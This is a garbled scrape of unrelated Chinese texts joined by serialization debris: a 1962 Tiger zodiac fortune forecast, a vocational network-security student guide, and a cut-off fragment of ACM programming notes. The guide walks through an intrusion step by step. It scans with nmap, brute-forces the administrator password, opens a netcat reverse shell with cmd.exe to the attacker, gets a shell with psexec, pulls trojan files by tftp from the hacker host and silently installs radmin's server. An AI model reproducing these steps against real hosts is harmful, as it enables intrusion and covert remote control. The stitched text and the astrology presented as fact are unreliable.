@#@@#@ 1962年属虎人XX年工作运势详解@#@ 在工作方面,属虎人XX年会有强劲的上升动力,与太岁相合,有利人际的和谐顺畅与开展新的人脉,同时有【紫微】、【龙德】两颗大吉星照耀事业宫,工薪一族,与同事关系相处融洽,上下级关系和谐,工作开展得心应手,只要踏实努力,步步为营,事业会不断地向积极方面发展。
@#@经商的朋友,今年人脉畅达,会出现新的渠道拓展事业,今年也适合与人合伙,发展新项目,开拓新的领域。
@#@有创业意向的朋友,今年是发展新事业比较理想的年份,如果计划周详,前期准备完善的话,不妨落实计划。
@#@只是今年在用人方面要谨慎,否则会因下属的问题招惹是非灾祸,切忌商业机密不可向同事下属透露,即使再亲信之人,也须提防,谨记防人之心不可无,重要的事情要亲力亲为,可减少不必要的损失。
@#@@#@ 1962年属虎人XX年财运精准预测@#@ 金钱方面,属虎人今年与太岁三合,食神入命,收入会有良好的表现。
@#@从正财来看,工薪一族,只要坚守岗位,努力工作,必定劳有所得,收入会有理想的增长;@#@经商的朋友,今年是拓展市场的时机,即使没有实际的财富增长,也会有无形资产的升值,品牌和公司价值的提升,为未来发展奠定基础。
@#@从偏财来看,今年较易得到偏财,但也容易失财,因为今年财帛宫有【五鬼】入宫,又有【咸池】桃花星侵扰,容易因感情或者异性而破财,今年不宜流连酒色场所,与异性交往也须带眼识人,保持适当的距离。
@#@今年投资活动必须小心,因为有【飞符】和【五鬼】从中作祟,容易遭受飞来横祸,得失无常,须谨慎理财,以保不失。
@#@幸好今年财帛宫有太岁相助,平时有储蓄和稳健理财习惯的朋友,今年财富收入可以稳定增长。
@#@@#@ 1962年属虎人XX年感情婚姻运势@#@ 今年感情运势甚为理想,单身的属虎人士,【咸池】桃花星入命,人缘桃花非常旺,可结识很多不错的异性,尤其是属虎的女性,如果遇到比自己年龄小且不介意姐弟恋的男性,缘份会更为浓厚;@#@已婚属虎人士,夫妻感情和睦,不过属虎的男士今年要提防烂桃花的困扰,避免出入是非之地,且与异性交往时要洁身自爱,不要因一时冲动而犯下严重错误;@#@为人父母者,子女晚辈运气不俗,有利于学业进步和事业发展。
@#@但今年命宫内亦有【五鬼】星,带来很多是非烦恼,谨记桃花多时不可三心二意,要专心一志,否则定会烦恼不断,甚至人财两失。
@#@今年小人比较多,容易有第三者出现破坏感情,须多加提防与忍耐,不可任性而为。
@#@@#@ 1962年属虎人XX年健康运势完整版@#@ 属虎的朋友,今年食神入命,带来较多的福分和良好的享受心态,生活悠闲自在,身心康泰,有利于休养生息,不妨多花心思以调节作息饮食,加强锻炼,以保身体健康。
@#@有小疾小患者,今年也可在【天解】的庇佑下,得到较为理想的康复。
@#@但今年飞符凶星来势汹汹,容易发生刀灾血刃之险,故在享受安逸的同时,也要有忧患意识,出门在外要注意安全,尤其要提防交通意外、跌落摔伤、盗贼强抢等,今年不宜与人发生口角,招惹是非,否则恐招来无妄之灾。
@#@属虎人今年吃喝玩乐的机会较多,而且因为人缘运提升,应酬聚会的机会也不少,因此容易暴饮暴食,要适可而止,否则容易导致体重暴涨而引发相关的疾病和烦恼。
@#@@#@ 1962年金虎人的五行命理分析@#@ 1962年出生的人五行属金。
@#@金虎,爱好宁静、安祥的家庭生活,是一个极其顾家的人,女性很热情,男性的性情与外表的热烈截然不同,内心比较女性化,犹豫不决,任性、拘束,女性则比较难以操纵。
@#@@#@ 金虎的为人深明“工作时工人,游戏时游戏”的道路,他们不会把工作带回家中做,对伴侣也懂得体贴,但比较沉默寡言,不会说甜言蜜语。
@#@他们有个弱点,就是不接受别人的劝告,但实际上他却是最需要别人劝告的人。
@#@@#@ 金虎的人喜爱掌权,虎年出生的人大都渴望权势,若努力工作,不断进修,必会有一番成就。
@#@金虎的主人人际关系不错,会得到同事的拥护,大家合作愉快,工作十分顺利不过千万不要因为运气不错,而懒散怠慢。
@#@工作时应多下功发夫,排除杂念。
@#@参加所有比赛,获胜机会都很大。
@#@@#@ 1962年属虎的XX年招财方法大全@#@ 1、属虎的人必须在自己的生活空间里增添土属性的元素,例如一盆土壤栽种的有花植物,当然啦,如果植物是硕果累累那就更好了,一定可以帮助属虎的人财源滚滚。
@#@@#@ 2、宜在办公或住房的东南和西北方位,摆设一些阳性的石质或陶瓷的饰品,会让你有的放矢,见财得财。
@#@@#@ 3、在屋子的东南角放个葫芦,或鹿、马雕像;@#@大型庙宇的法会,尽可能抽空参加。
@#@办公室可放狗造型的存钱筒。
@#@@#@ 4、设个香龛,请一尊财神像。
@#@材料为铜、瓷、木纸像也可以。
@#@然后用朱砂在黄表纸上画一道财神符,再面对财神像焚香念财神咒,恭请五方财神仙驾降临,恭请本宅神主降临,一粒盐巴化做百千客,天天风来人来钱来,急急如律令。
@#@念七遍,念完后把香插在香炉中,再把财神符放在坛前的盆子烧掉。
@#@如此,以后每天都在坛前焚香念咒七遍即可。
@#@初一十五最好能摆上供品。
@#@@#@ 5、属虎人鱼缸旺财摆放位置选择@#@ 鱼缸凶位:
@#@忌坐北向南鱼缸吉位:
@#@坐东向西、坐南向北、坐西向东鱼缸财位:
@#@甲寅年生、丙寅年生、戊寅年生、庚寅年生、壬寅年生。
@#@@#@ 1962年属虎的人XX年每月运势完整版@#@ 属虎人XX年农历正月运势@#@ 天干地支:
@#@甲寅@#@ 公历时间:
@#@XX年2月5日―XX年3月5日@#@ 进入戊戌狗年的农历正月,对属虎人而言,运势有上升趋势,因为半合太岁,且有【月德】贵人相助,人缘颇佳,可以得到上司的赞赏和认可,工作开展得心应手,个人才华得以施展,只要努力工作,定会有不错的回报。
@#@只是新年伊始,聚会饮食较多,需要注意卫生与健康,忌暴饮暴食,以免伤及肠胃,留下后患。
@#@@#@ 本月吉祥方位:
@#@正东、东南@#@ 本月幸运颜色:
@#@咖啡色、白色@#@ 属虎人XX年二月份运势@#@ 天干地支:
@#@丁卯@#@ 公历时间:
@#@XX年3月6日―XX年4月5日@#@ 本月运势持续转佳,年份戌狗与月份卯兔相合,属虎人个人能力可以继续得到很好的发挥,工作表现突出,与人相处融洽,但需小心一些看似对你友好,主动与你联络感情的人,慎防被对方利用,若有借钱等请求时,需了解对方的人品,不可轻易答应。
@#@本月的感情容易出现误会,需要多与对方沟通,给予更多的信任。
@#@健康方面注意呼吸系统感染,多开窗通风。
@#@@#@ 本月吉祥方位:
@#@正西、西南@#@ 本月幸运颜色:
@#@银色、卡其色@#@ 属虎人XX年三月份运势@#@ 天干地支:
@#@丙辰@#@ 公历时间:
@#@XX年4月6日―XX年5月5日@#@ 本月属虎人事业发展平顺,但在财运方面要有所警惕,本月钱财易损,在面对一些表面风光、高收益的投资项目时,须看清事物的本质,不可被表象所迷惑,做出非理性投资。
@#@本月亦不适合借钱给他人,恐怕有借无还,追悔莫及。
@#@在感情方面,已婚者会面临感情考验,需专心一志,以免被烂桃花纠缠,影响个人运势,建议本月与伴侣携手外出游玩,以增进彼此感情。
@#@健康运尚可,注意皮肤保养。
@#@@#@ 本月吉祥方位:
@#@正西、西北@#@ 本月幸运颜色:
@#@深红色、黑色@#@ 属虎人XX年四月份运势@#@ 天干地支:
@#@丁巳@#@ 公历时间:
@#@XX年5月6日―XX年6月6日@#@ 进入丁巳月,“寅巳”相刑,属虎人的运势必然受到影响,容易招灾引祸,建议提前做好心理准备。
@#@在工作上宜少说话、多做事,低调为人,避免与人起冲突;@#@偏财运不佳,不宜投资,如在本月开展项目,很可能会有突发状况,导致延误。
@#@健康方面亦会受到冲击,平日要多留意身体,保持健康的饮食与作息,年长的属虎朋友,最好在本月进行一个身体检查,有备无患。
@#@@#@ 本月吉祥方位:
@#@东南、正北@#@ 本月幸运颜色:
@#@灰色、玫红色@#@ 属虎人XX年五月份运势@#@ 天干地支:
@#@戊午@#@ 公历时间:
@#@XX年6月7日―XX年7月7日@#@ 来到农历五月,“寅午戌”三合,凡事可逢凶化吉,好运势不可挡。
@#@事业上多有贵人出手相助,只要积极努力,事业可有明显的提升,同时正财收入也会随着水涨船高,只是偏财并无大的吉象,只宜浅尝辄止。
@#@感情方面,须善用本月良好的机会,与伴侣增加互动,多体贴关怀对方,帮对方分忧解难,感情自然升温;@#@单身人士也可多参加聚会活动,有望结识不错的异性。
@#@健康方面无大碍。
@#@@#@ 本月吉祥方位:
@#@西南、正东@#@ 本月幸运颜色:
@#@米白色、天蓝色@#@ 属虎人XX年六月份运势@#@ 天干地支:
@#@己未@#@ 公历时间:
@#@XX年7月8日―XX年8月7日@#@ 进入农历六月,运势开始下滑,工作上遇小人阻碍,行业竞争亦愈发激烈,诸多的压力会让你心烦意乱,注意要管理好自己的情绪,切忌烦躁,同时保持好与上司和同事的距离,审时度势。
@#@财运较为平淡,无明显进展。
@#@感情方面需悉心呵护,避免分歧与争端,莫争一时口快伤了感情。
@#@健康方面要注意与水有关的问题,如饮水的卫生,以及游泳划船时要小心,慎防意外。
@#@接下来的一个月会更为艰辛,需尽早调整好心态。
@#@@#@ 本月吉祥方位:
@#@正南、东北@#@ 本月幸运颜色:
@#@金色、银色@#@ 属虎人XX年七月份运势@#@ 天干地支:
@#@庚申@#@ 公历时间:
@#@XX年8月8日―XX年9月7日@#@ 进入农历七月,受到“寅申”相冲的影响,属虎人会遇到各种突如其来的冲击,事业上会遭到竞争对手的打击,此时不可气馁,应沉着应对,艰难只是一时的,定会有转机出现。
@#@本月财运起落不定,在面对机缘时,一旦考虑偏颇,便有灾祸临身。
@#@感情方面亦不乐观,容易有口舌之争,切忌将工作中的烦恼带入感情生活,且需多与伴侣分享心情,释放压力。
@#@驾车人士本月要小心驾驶,尽量避免在夜间或雨天等视线不佳的情况下开车。
@#@@#@ 本月吉祥方位:
@#@西北、东南@#@ 本月幸运颜色:
@#@橙色、蓝色@#@ 属虎人XX年八月份运势@#@ 天干地支:
@#@辛酉@#@ 公历时间:
@#@XX年9月8日―XX年10月8日@#@ 来到农历八月,属虎人运势有所回升,工作上紧张的局面得以舒缓,可以稍微轻松一些,但仍不可大意,还需依靠自身的努力去抓住每一个机会,才能令工作事业有更好的发展。
@#@本月财运乏善可陈,正财收入需要随事业的发展逐步提升,而偏财亦不是获取的理想时机。
@#@感情上倒是一片和谐,与伴侣互动良好,感情稳固,单身者可多参加户外活动,有机会认识不错的异性朋友。
@#@健康尚可,唯要注意饮食卫生问题,慎防肠胃受损。
@#@@#@ 本月吉祥方位:
@#@正西、东北@#@ 本月幸运颜色:
@#@粉红色、紫色@#@ 属虎人XX年九月份运势@#@ 天干地支:
@#@壬戌@#@ 公历时间:
@#@XX年10月9日―XX年11月7日@#@ 本月寅戌半合,属虎人运势继续回升,事业发展多有好的表现,若能有属马人士从旁协助,则诸事开展顺利,可以在激烈的竞争中占有一席之地。
@#@感情方面会有不错的异性出现,单身人士要好好把握良缘,已婚者则应洁身自好,不宜沾染婚外情,当心兴尽悲来,家庭破碎,身败名裂。
@#@财运见好,可放手一试,但谨记不可与属蛇、属猴之人有金钱瓜葛,否则是非不断,财运逆转。
@#@@#@ 本月吉祥方位:
@#@东南、东北@#@ 本月幸运颜色:
@#@桃红色、驼色@#@ 属虎人XX年十月份运势@#@ 天干地支:
@#@癸亥@#@ 公历时间:
@#@XX年11月8日―XX年12月7日@#@ 进入癸亥月,亥水生寅木,属虎人迎来运势的高峰,只要平时踏实努力工作,本月将会有一些实质性的收获,如晋升或是薪资增长,但要小心树大招风,引致小人嫉妒,暗中散布谣言,令其他人对你产生误会。
@#@所以平时要注意言行,尽量低调,以及保持谦逊的态度。
@#@本月花销较大,要尽量开源节流。
@#@感情方面进展不错,心情愉快,但也容在对方身上花费较多,导致荷包紧缩,恋爱婚姻是细水长流,不宜一时冲动为此胡乱花钱。
@#@@#@ 本月吉祥方位:
@#@西北、东南@#@ 本月幸运颜色:
@#@藏青色、军绿色@#@ 属虎人XX年十一月份运势@#@ 天干地支:
@#@甲子@#@ 公历时间:
@#@XX年12月8日―2019年1月5日@#@ 本月运势稍有回落,工作量增加,工作方面的压力让你有点喘不过气,无暇顾及家庭与恋人,易导致伴侣或家人的不满,令你身心俱疲。
@#@本月应注意劳逸结合,学会提高工作效率,不要钻牛角尖,同时兼顾好工作与家庭的关系,多与家人沟通,获得理解与支持。
@#@健康方面不太理想,天气转冷,会有血脉不畅、淤堵的情况出现,故不宜长时间保持一个姿势,应多活动。
@#@此外,开车时要保持良好的精神,否则意外会在一瞬间发生。
@#@@#@ 本月吉祥方位:
@#@正南、东北@#@ 本月幸运颜色:
@#@酒红色、土色@#@ 属虎人XX年十二月运势@#@ 天干地支:
@#@乙丑@#@ 公历时间:
@#@2019年1月6日―2019年2月4日@#@ 本月属虎人顺中有克,工作压力减少,但是事业也会有下滑趋势,可能是你无意间得罪了上司或重要客户,导致领导对你不满。
@#@感情方面,属于大起大落的一个月,多姿多彩的同时也会产生很多口舌之争,若是不善言辞者,则是冷战的局面。
@#@不过这些都只是一时的颓势,只要耐心等待,真相终会水落石出,误会也会解除。
@#@财运不错,收入见涨,但不宜投资,容易因疏忽大意导致漏财。
@#@健康上要注意呼吸、咽喉方面的问题,此外还需保持规律作息。
@#@@#@ 本月吉祥方位:
@#@西北、西南@#@ 本月幸运颜色:
@#@黄色、橙色 @#@";i:
5;s:
18459:
"12计算机远程控制诊断与防御学生指导书@#@学习情境一桌面主机安全管理@#@子学习情境二计算机远程控制诊断与防御@#@1.2.1学习情境描述@#@最近某办公室职员甲向网络中心反映他的一个网友在qq上说他能看到甲使用电脑的全部文件和甲的计算机操作过程,只要他愿意还可以代替甲给电脑安装软件。
@#@技术主管怀疑甲的电脑被人安装了远程控制软件导致被人远程控制,要求你对甲的电脑进行诊断,清除控制程序,并且设计防御方案。
@#@@#@1.2.2工作任务分析@#@●使用扫描工具(Nmap,X-scan,瑞士军刀)寻找入侵目标@#@●使用协议分析工具WireShark分析多种扫描方式的特点@#@●构造字典,对系统管理员密码进行暴力破解@#@●使用psexec.exe、tftp等工具在目标主机上远程控制服务器软件r_server.exe@#@●启动远程控制客户端软件,对目标主机进行远程控制@#@●列举远程控制的危害@#@●给出被远程控制主机的诊断方案@#@●给出远程控制的防御方案@#@1.2.3相关专业技术知识@#@1.TCP三次握手过程@#@TCP连接是通过三次握手进行初始化的。
@#@三次握手的目的是同步连接双方的序列号和确认号并交换TCP窗口大小信息。
@#@以下步骤概述了通常情况下客户端计算机联系服务器计算机的过程:
@#@@#@1)客户端向服务器发送一个SYN置位的TCP报文,其中包含连接的初始序列号x和一个窗口大小(表示客户端上用来存储从服务器发送来的传入段的缓冲区的大小)。
@#@@#@2)服务器收到客户端发送过来的SYN报文后,向客户端发送一个SYN和ACK都置位的TCP报文,其中包含它选择的初始序列号y、对客户端的序列号的确认x+1和一个窗口大小(表示服务器上用来存储从客户端发送来的传入段的缓冲区的大小)。
@#@@#@3)客户端接收到服务器端返回的SYN+ACK报文后,向服务器端返回一个确认号y+1和序号x+1的ACK报文,一个标准的TCP连接完成。
@#@@#@TCP使用类似的握手过程来结束连接。
@#@这可确保两个主机均能完成传输并确保所有的数据均得以接收@#@表2-2-1tcp数据包标志@#@TCPClient@#@Flags@#@TCPServer@#@1SendSYN(seq=x)@#@----SYN--->@#@@#@SYNReceived@#@2SYN/ACKReceived@#@<@#@---SYN/ACK----@#@SendSYN(seq=y),ACK(x+1)@#@3SendACK(y+1)@#@----ACK--->@#@@#@ACKReceived,ConnectionEstablished@#@w:
@#@ISN(InitialSequenceNumber)oftheClient@#@x:
@#@ISNoftheServer@#@标志控制功能URG:
@#@紧急标志@#@紧急标志置位,ACK:
@#@确认标志。
@#@确认编号(AcknowledgementNumber)栏有效。
@#@大多数情况下该标志位是置位的。
@#@TCP报头内的确认编号栏内包含的确认编号(w+1,Figure:
@#@1)为下一个预期的序列编号,同时提示远端系统已经成功接收所有数据。
@#@@#@PSH:
@#@推标志。
@#@该标志置位时,接收端不将该数据进行队列处理,而是尽可能快将数据转由应用处理。
@#@在处理telnet或rlogin等交互模式的连接时,该标志总是置位的。
@#@@#@RST:
@#@复位标志。
@#@复位标志有效。
@#@用于复位相应的TCP连接。
@#@@#@SYN:
@#@同步标志。
@#@同步序列编号(SynchronizeSequenceNumbers)栏有效。
@#@该标志仅在三次握手建立TCP连接时有效。
@#@它提示TCP连接的服务端检查序列编号,该序列编号为TCP连接初始端(一般是客户端)的初始序列编号。
@#@在这里,可以把TCP序列编号看作是一个范围从0到4,294,967,295的32位计数器。
@#@通过TCP连接交换的数据中每一个字节都经过序列编号。
@#@在TCP报头中的序列编号栏包括了TCP分段中第一个字节的序列编号。
@#@@#@FIN:
@#@结束标志。
@#@带有该标志置位的数据包用来结束一个TCP回话,但对应端口仍处于开放状态,准备接收后续数据。
@#@@#@2..端口扫描原理@#@“端口扫描”通常指用同一信息对目标计算机的所有所需扫描的端口进行发送,然后根据返回端口状态来分析目标计算机的端口是否打开、是否可用。
@#@“端口扫描”行为的一个重要特征,是在短时期内有很多来自相同的信源地址,传向不同的目的、地端口的包。
@#@通常进行端口扫描的工具目称之为“端口扫描器”。
@#@端口扫描器也是一种程序,它可以对目标主机的端口进行连接,并记录目标端口的应答。
@#@端口扫描器通过选用远程TCP/IP协议不同的端口的服务,记录目标计算机端口给予回答的方法,可以收集到很多关于目标计算机的各种有用信息(比如是否有端口在侦听,是否允许匿名登录,是否有可写的FTP目录,是否能用Telnet等)。
@#@@#@虽然端口扫描器可以用于正常网络安全管理,但就目前来说,它主要还是被黑客所利用,是黑客入侵、攻击前期不可缺少的工具。
@#@黑客一般先使用扫描工具扫描待入侵主机,掌握目标主机的端口打开情况,然后采取相应的入侵措施。
@#@@#@无论是正常用途,还是非法用途,端口扫描可以提供4个用途。
@#@@#@ @#@
(1)识别目标主机上有哪些端口是开放的,这是端口扫描的最基本目的。
@#@@#@ @#@
(2)识别目标系统的操作系统类型(Windows、Linux或UNIX等)。
@#@@#@ @#@(3)识别某个应用程序或某个特定服务的版本号。
@#@@#@ @#@(4)识别目标系统的系统漏洞,这是端口扫描的一种新功能。
@#@@#@ @#@目前主要端口扫描技术@#@●TCPconnectScan(TCP连接扫描)@#@这种方法也称之为“TCP全连接扫描”。
@#@它是最简单的一种扫描技术,所利用的是TCP协议的3次握手过程。
@#@它直接连到目标端口并完成一个完整的3次握手过程(SYN、SYN/ACK和ACK)。
@#@操作系统提供的“connect()”函数完成系统调用,用来与目标计算机的端口进行连接。
@#@如果端口处于侦听状态,那么“connect()”函数就能成功。
@#@否则,这个端口是不能用的,即没有提供服务。
@#@@#@●TCPSYNScan(TCP同步序列号扫描)@#@若端口扫描没有完成一个完整的TCP连接,即在扫描主机和目标主机的一指定端口建立连接的时候,只完成前两次握手,在第三步时,扫描主机中断了本次连接,使连接没有完全建立起来,所以这种端口扫描又称为“半连接扫描”,也称为“间接扫描”或“半开式扫描”(HalfOpenScan)。
@#@SYN扫描,通过本机的一个端口向对方指定的端口,发送一个TCP的SYN连接建立请求数据报,然后开始等待对方的应答。
@#@如果应答数据报中设置了SYN位和ACK位,那么这个端口是开放的;@#@如果应答数据报是一个RST连接复位数据报,则对方的端口是关闭的。
@#@使用这种方法不需要完成Connect系统调用所封装的建立连接的整个过程,而只是完成了其中有效的部分就可以达到端口扫描的目的。
@#@此种扫描方式的优点是不容易被发现,扫描速度也比较快。
@#@同时通过对MAC地址的判断,可以对一些路由器进行端口扫描,缺点是需要系统管理员的权限,不适合使用多线程技术。
@#@@#@●TCPFINScan(TCP结束标志扫描)@#@这种扫描方式不依赖于TCP的3次握手过程,而是TCP连接的“FIN”(结束)位标志。
@#@原理在于TCP连接结束时,会向TCP端口发送一个设置了FIN位的连接终止数据报,关闭的端口会回应一个设置了RST的连接复位数据报;@#@而开放的端口则会对这种可疑的数据报不加理睬,将它丢弃。
@#@可以根据是否收到RST数据报来判断对方的端口是否开放。
@#@此扫描方式的优点比前两种都要隐秘,不容易被发现。
@#@该方案有两个缺点:
@#@首先,要判断对方端口是否开放必须等待超时,增加了探测时间,而且容易得出错误的结论;@#@@#@●UDPScan(UDP协议扫描)@#@在UDP扫描中,是往目标端口发送一个UDP分组。
@#@如果目标端口是以一个“ICMPportUnreachable”(ICMP端口不可到达)消息来作为响应的,那么该端口是关闭的。
@#@相反,如果没有收到这个消息那就可以推断该端口打开着。
@#@@#@●ICMPecho扫描@#@其实这并不能算是真正意义上的扫描。
@#@但有时的确可以通过支持Ping命令,判断在一个网络上主机是否开机。
@#@Ping是最常用的,也是最简单的探测手段,用来判断目标是否活动。
@#@实际上Ping是向目标发送一个回显(Type=8)的ICMP数据包,当主机得到请求后,再返回一个回显(Type=0)的数据包。
@#@而且Ping程序一般是直接实现在系统内核中的,而不是一个用户进程,更加不易被发现。
@#@@#@3.木马@#@木马程序是目前比较流行的恶意文件,与一般的病毒不同,它不会自我繁殖,也并不“刻意”地去感染其他文件,它通过将自身伪装吸引用户下载执行,向施种木马者提供打开被种者电脑的户,使施种者可以任意毁坏、窃取被种者的文件,甚至远程操控被种者的电脑。
@#@@#@木马与计算机网络中常常要用到的远程控制软件有些相似,但由于远程控制软件是“善意”的控制,因此通常不具有隐蔽性;@#@“木马”则完全相反,木马要达到的是“偷窃”性的远程控制,如果没有很强的隐蔽性,那将是毫无价值的。
@#@@#@
(1)木马是如何工作的?
@#@@#@一个完整的木马系统由硬件部分和软件部分以及具体连接部分组成。
@#@建立木马连接所必须的硬件实体具体包括控制端、服务端和Internet。
@#@控制端是对服务端进行远程控制的一方,服务端是被远程控制的一方。
@#@Internet是实现控制端对服务端进行远程控制、数据传输的载体。
@#@@#@实现远程控制也必须要有软件程序,软件程序具体包括控制端程序、木马程序和木马配置程序。
@#@控制端程序是控制端用来远程控制服务端的程序,木马程序是潜入木马内部,获取其操作权限的程序。
@#@木马配置程序是设置木马程序的端口号、触发条件、木马名称等,使其在服务端伪装得更隐蔽的程序。
@#@@#@下面来了解一下木马的工作原理。
@#@用木马这种工具进行网络放侵,从过程上大致可分为配置木马、传播木马、运行木马、信息泄露、建立连接和远程控制。
@#@一般情况下,木马都有配置程序,从具体配置内容来主要是为了在服务端尽可能地隐藏好木马,并对信息的反馈方式或地址进行设置。
@#@@#@木马传播方式主要有两种:
@#@一种是通过E-mail将木马程序以附件形式夹在邮件中发送出去,收信人只要打开附件就会感染木马;@#@另一种是软件下载,一些非正规网站以提供软件下载为名义,将木马捆绑在软件安装程序上,下载后只要运行这些程序,木马就会自动安装。
@#@@#@木马还会伪装的方式降低用户的警觉,来欺骗用户,常见的欺骗方式有修改图标、捆绑文件、出错显示、定制端口、自我销毁和木马更名等。
@#@@#@服务端用户运行程序后,木马就会自动进行安装,将自身先复制到Windows的系统文件夹(C:
@#@\Windows、C:
@#@\Windows\system或C:
@#@\Windows\temp目录下)中之后,再修改注册表、启动程序,这样,木马的安装就完成了。
@#@@#@设置好的木马一般都会有一个信息反馈机制,是指木马成功安装后会收集一些服务端的软硬信息,并通过电子邮件、IRC或QQ的方式告知控制端用户(主要包括使用的操作系统、系统目录、硬盘分区情况、系统口令等)。
@#@这些信息中最重要的是服务端IP地址,因为只有得到这个参数,控制端才可实现与服务端连接。
@#@@#@一个木马连接的建立必须具备两个条件:
@#@一是服务端已安装了木马程序;@#@二是控制端和服务端都在线。
@#@在此基础上,控制端可以通过服务端建立连接。
@#@控制端上的控制端程序可通过这条通道与服务端上的木马取得联系,并通过木马程序对服务端进行远程控制。
@#@控制端具有十分广泛的权限,如果服务端被运行,控制端就会像控制自己的机器一样简单。
@#@@#@1.2.4任务实施@#@1.使用软件列表@#@序号@#@软件名称@#@功能@#@注意事项@#@1@#@Pass.bat,test.bat,mhl.txt(字典文件)@#@破解密码@#@2@#@nmap@#@端口扫描软件@#@3@#@x-scan@#@端口扫描软件@#@4@#@Nc.exe@#@端口扫描、后门,远程控制,文件传输@#@瑞士军刀@#@5@#@r_server.exe,admdll.exe,raddrv.dll@#@远程控制服务器端@#@6@#@radmin@#@远程控制客户端@#@7@#@Psexec.exe,@#@获取远程主机shell@#@8@#@Tftp服务器@#@Tftp服务器@#@2.软件使用说明@#@
(1)windows密码暴力破解@#@命令格式:
@#@pass.bat字典文件victim主机administrator@#@如:
@#@c:
@#@\>@#@pass.batc:
@#@\mhl.txt10.70.29.46administrator@#@
(2)nmap使用@#@Nmap–sP10.70.29.1-100扫描指定范围的计算机@#@Nmap–sS–p100-30010.70.29.8扫描指定计算机的指定端口范围,采用tcpsyn扫描方式.@#@参数sU,sF,sT使用方法一样,只是端口扫描的技术不一样。
@#@@#@(3)X-scan使用@#@●设置扫描参数@#@●开始扫描@#@(4)瑞士军刀的使用@#@设本地主机10.70.29.4,远程主机10.70.29.8@#@●监听本地端口1000@#@Nc.exe–l–p1000//本地主机@#@telnet10.70.29.41000//远程主机@#@●程控制远程主机@#@Nc.exe–l–p1000–ecmd.exe//远程主机@#@telnet10.70.29.41000//本地主机@#@●反向连接@#@Nc.exe–l–p1000//本地主机@#@Nc.exe–ecmd.exe10.70.29.41000//远程主机@#@(5)远程控制软件的使用@#@●Attacker主机@#@Psexec.exe\\Victim主机ip地址,-u用户名–p密码cmd.exe@#@●Victim主机:
@#@@#@r_server.exe/install/silence安装服务器端@#@r_server.exe/port:
@#@8080/pass:
@#@123456/save/silence开端口和设置密码@#@netstartr_server启动服务@#@●Attacker主机@#@启动radmin,连接victim主机,输入密码@#@3.参考实施步骤@#@步骤1使用nmap进行主机和端口扫描@#@在命令提示符下输入:
@#@nmap-sP10.60.31.1-50@#@图1-2-1使用nmap进行主机扫描@#@如上图,扫描ip地址在10.60.31.1-10.60.31.50之间的主机,结果只有三台主机存活。
@#@在命令符下输入:
@#@nmap-sS-p100-30010.60.31.5@#@图1-2-2使用nmap进行端口扫描@#@如上图,扫描主机10.60.31.5的端口在100-300之间的开发情况,结果显示只有135,139端口开着。
@#@@#@步骤2破解系统密码@#@1.使用x-scan扫描系统弱口令@#@启动x-scan,单击”设置”菜单的”扫描参数”项,指定ip地址10.60.31.5,如下图@#@图1-2-3x-scan扫描参数设置@#@编辑smb密码字典和smb用户名字典,加入你猜测的用户名和密码,如下图。
@#@@#@图1-2-4密码字典位置@#@设置完密码字典后,单击@#@进行扫描,发现了系统的弱口令。
@#@在实际暴力破解中,往往借助工具自动生成用户名和密码。
@#@@#@图1-2-5扫描结果@#@步骤3获取系统shell@#@获得用户名和密码后,我们可以使用Psexec.exe工具获得远程主机shell命令如下:
@#@@#@psexec\\10.60.31.5-uadministrator-p1234cmd.exe@#@图1-2-6获取系统shell@#@步骤4上传木马@#@获取远程主机shell之后,如何上传木马呢?
@#@桌面操作系统在c:
@#@\windows\system32下默认装有tftp客户端,因此在黑客主机上要装tftp服务器,提供tftp服务。
@#@如下图。
@#@@#@图1-2-7tftp服务器界面@#@在远程主机上输入以下命令:
@#@@#@tftp10.60.31.26getadmdll.dll@#@tftp10.60.31.26getr_server.exe@#@tftp10.60.31.26getraddrv.dll@#@10.60.31.26是黑客主机的ip地址,通过tftp的get命令,吧木马下载到远程主机。
@#@@#@步骤5植入木马和远程控制@#@1.在远程主机上安装木马@#@r_server.exe/install/silence安装服务器端@#@r_server.exe/port:
@#@8080/pass:
@#@123456/save/silence开端口和设置密码@#@netstartr_server启动服务@#@这样就在远程服务器中安装r_server服务,端口号是8080,密码是123456。
@#@@#@2.进行远程控制@#@在攻击主机上运行客户端控制软件radmin.exe,单击“连接”菜单,建立一个连接,当然需要输入远程主机的ip地址和端口号,如下图@#@图1-2-8远程控制界面@#@右击桌面图标,可以进行完全控制、文件传输、telnet等操作(需要输入密码)。
@#@如下图进行完全控制。
@#@@#@图1-2-9被控制的远程主机界面@#@1.2.5成果报告要完成的相关问题@#@●简述暴力破解的过程@#@●举列瑞士军刀的一些其他用法@#@●给出方案,使用tftp服务器传文件@#@●给出被远程控制主机的诊断方案@#@●给出被远程控制主机的防御方案@#@1.2.6项目评价@#@计算机远程控制诊断与防御@#@1.您觉得已经掌握黑客入侵的步骤了吗?
@#@@#@(A)掌握(B)有一些了解(C)一点都不懂@#@2.您觉得已经掌握远程控制和暴力破解的技术了吗?
@#@@#@(A)掌握(B)有一些了解(C)一点都不懂@#@3.您能适应教师的教学方法吗?
@#@@#@(A)能(B)有些困难(C)不能@#@4.您在与别人沟通方面有进步吗?
@#@@#@(A)有(B)有一点(C)没有@#@5.您是否有信心自己掌握一种新的攻击工具?
@#@@#@(A)有(B)有一点(C)没有@#@6.您觉得您容易同学合作顺利吗?
@#@@#@(A)很难(B)比较容易(C)还行@#@7.您认为这个项目对你来说最重要的是什么?
@#@@#@@#@8.您向对教师提一些建议吗?
@#@@#@@#@9.您觉得您的快速学习能力有提高吗?
@#@@#@(A)有(B)有一点(C)没有@#@10.您对这门课的兴趣如何?
@#@@#@(A)有(B)越来越有兴趣(C)没有兴趣@#@";i:
6;s:
14497:
"ACM必做50题高精度@#@1POJ1001Exponentiation@#@高精度数的计算,以前在网上看到过一个计算大数阶乘比如10000000!
@#@的算法,总体思想就是将结果用数组保存起来,然后将结果的每一位与乘数相乘,当然还有进位...@#@有了这个算法的思想,这个题思路就可以是:
@#@先将输入的小数转换成一个整数,当然这个整数肯定能够用int类型的变量保存,比如1.2345,通过函数removeDot()将它转化成12345,然后利用大数阶乘的思想计算12345*12345.....*12345,最后的就是输出了,这个要考虑的情况比较多,因为这个也WA了5次才AC(笨的要死),情况虽多,但不难.@#@这道题是高精度计算的,不算很难,但是很繁琐,尤其是对输入输出的要求。
@#@被这道题搞了好久,耐心来,一点一点调试,总会成功的。
